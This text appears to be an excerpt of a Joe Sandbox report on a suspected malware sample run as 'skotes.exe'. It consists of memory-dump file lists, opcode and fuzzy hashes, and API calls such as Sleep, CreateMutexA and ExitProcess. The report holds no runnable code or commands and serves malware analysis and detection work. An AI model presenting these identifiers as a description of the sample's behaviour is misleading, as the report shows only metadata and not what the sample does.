Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 850cf406473ec0e348664d64b4c101df281c982cc20b8c479051b6abd3265c2c
Instruction ID: 556e1cb71fe48585e368012109ba82e8409300aa0cd7368e23ebda6063fbad98
Opcode Fuzzy Hash: 850cf406473ec0e348664d64b4c101df281c982cc20b8c479051b6abd3265c2c
Instruction Fuzzy Hash: EDA10371A01255AFDF10EFA4C98875AB7B8FF14B18F004129E825D7281EB31EB04CBD5

Function 00CBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00CBCC66

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: d2f61657fcb1c81ea6ea449315eb2bd81c08488272c1d29b588d269e58ed1680
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 37B115329046869FDB15CF68C8C1BEEBFE5EF55340F24416AE865EB242D6349E42CB60

Function 00C9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00C9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00C9BBE4
_xtime_get.LIBCPMT ref: 00C9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00C9BC13

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d484a3978d32cbce6dd8c9f7a79fd3db2dd679d86a4a93d3ab8cb4c337eb0ff1
Instruction ID: 158c63e1461ce970e3d8d5aaf905aa58384e5f9917a25c38def032003a4be691
Opcode Fuzzy Hash: d484a3978d32cbce6dd8c9f7a79fd3db2dd679d86a4a93d3ab8cb4c337eb0ff1
Instruction Fuzzy Hash: A9213071A01119AFDF00EFA4DD89ABEB7B9EF08710F100069F901B72A1DB30AD019BA0

Analysis Process: skotes.exePID: 5436, Parent PID: 6692COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1952
Total number of Limit Nodes:	9

Executed Functions

Function 0013652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0013652A,?,?,?,?,?,00137661), ref: 00136566

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ef3efa9d13f87f1417340918e95878c39a0b2d4a36c272c9c618f78f13fee017
Instruction ID: 4c84642b62872fae21b123ff3d45d7a697047267ce0e22bcc124e1c9941b066d
Opcode Fuzzy Hash: ef3efa9d13f87f1417340918e95878c39a0b2d4a36c272c9c618f78f13fee017
Instruction Fuzzy Hash: 52E08C30081508BACF25BB18C919D483B69EF61794F008824FA198A226CB25EE82C690

Function 00109BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 61c5dde85f6d6d0e2b19f8cf224962424e43d804c5f1214de71e5df09783b0c8
Instruction ID: e51cb737c3e7298df79df0e9d36c859912e9d85d48ab89939c3f022673114904
Opcode Fuzzy Hash: 61c5dde85f6d6d0e2b19f8cf224962424e43d804c5f1214de71e5df09783b0c8
Instruction Fuzzy Hash: 4C315B31B042448BFB18DBB8DDE9B6DB7B2DF91324F248218E0549B3D6C7B559808751

Function 00109F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
